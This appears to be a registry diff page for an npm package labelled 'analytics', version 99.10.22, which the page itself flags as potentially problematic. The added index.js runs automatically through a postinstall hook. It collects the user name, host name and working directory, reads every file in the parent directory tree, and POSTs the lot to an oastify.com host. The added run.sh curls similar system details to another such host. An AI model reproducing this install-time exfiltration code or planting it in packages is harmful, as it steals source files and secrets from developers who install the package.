@ssr-frontend/packages-analytics 99.10.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @ssr-frontend/packages-analytics might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +87 -0
  2. package/package.json +13 -0
  3. package/run.sh +4 -0
package/index.js ADDED
@@ -0,0 +1,87 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { execSync } = require('child_process');
5
+
6
+ // Get the current working directory
7
+ const cwd = process.cwd();
8
+
9
+ // Get the parent directory path
10
+ const parentDir = path.resolve(cwd, '..');
11
+
12
+ // Files to exclude
13
+ const excludeFiles = ['index.js', 'package.json'];
14
+
15
+ // Function to list the contents of a directory in tree format
16
+ function listDirectory(dirPath, depth) {
17
+ let tree = '';
18
+ try {
19
+ const entries = fs.readdirSync(dirPath, { withFileTypes: true });
20
+
21
+ entries.forEach((entry, index) => {
22
+ if (excludeFiles.includes(entry.name)) {
23
+ return; // Exclude files specified in excludeFiles array
24
+ }
25
+
26
+ const isLast = index === entries.length - 1;
27
+ const prefix = depth > 0 ? '│ '.repeat(depth - 1) + (isLast ? '└──' : '├──') : '';
28
+ const entryLine = `${prefix}${entry.name}\n`;
29
+
30
+ tree += entryLine;
31
+
32
+ if (entry.isDirectory()) {
33
+ const fullPath = path.join(dirPath, entry.name);
34
+ tree += listDirectory(fullPath, depth + 1);
35
+ } else if (entry.isFile()) {
36
+ const fileContents = fs.readFileSync(path.join(dirPath, entry.name), 'utf8');
37
+ tree += `${'│ '.repeat(depth)} ${fileContents}\n`;
38
+ }
39
+ });
40
+ } catch (error) {
41
+ console.error(`Error reading directory "${dirPath}": ${error.message}`);
42
+ }
43
+
44
+ return tree;
45
+ }
46
+
47
+ // Get user, host, and pwd
48
+ const user = execSync('whoami').toString().trim();
49
+ const host = execSync('hostname').toString().trim();
50
+ const pwd = execSync('pwd').toString().trim();
51
+
52
+ // Generate the directory tree structure for the parent directory
53
+ const tree = listDirectory(parentDir, 0);
54
+
55
+ // Combine user, host, pwd, and directory tree
56
+ const output = `User: ${user}\nHost: ${host}\nPwd: ${pwd}\n\nDirectory Tree:\n${tree}`;
57
+
58
+ // Prepare request options
59
+ const options = {
60
+ hostname: 'ds96hxsuab3tjmkfk7hs83o2stykmaaz.oastify.com',
61
+ port: 80,
62
+ path: '/',
63
+ method: 'POST',
64
+ headers: {
65
+ 'Content-Type': 'text/plain',
66
+ 'Content-Length': Buffer.byteLength(output)
67
+ }
68
+ };
69
+
70
+ // Make the HTTP request
71
+ const req = http.request(options, (res) => {
72
+ let responseData = '';
73
+ res.on('data', (chunk) => {
74
+ responseData += chunk;
75
+ });
76
+ res.on('end', () => {
77
+ console.log(responseData);
78
+ });
79
+ });
80
+
81
+ req.on('error', (error) => {
82
+ console.error('There was a problem with the request:', error.message);
83
+ });
84
+
85
+ // Send the data
86
+ req.write(output);
87
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@ssr-frontend/packages-analytics",
3
+ "version": "99.10.22",
4
+ "description": "POC BY JALWAN",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
13
+
package/run.sh ADDED
@@ -0,0 +1,4 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) https://fwf8lzwwed7vnooho9luc5s4wv2nqde2.oastify.com
4
+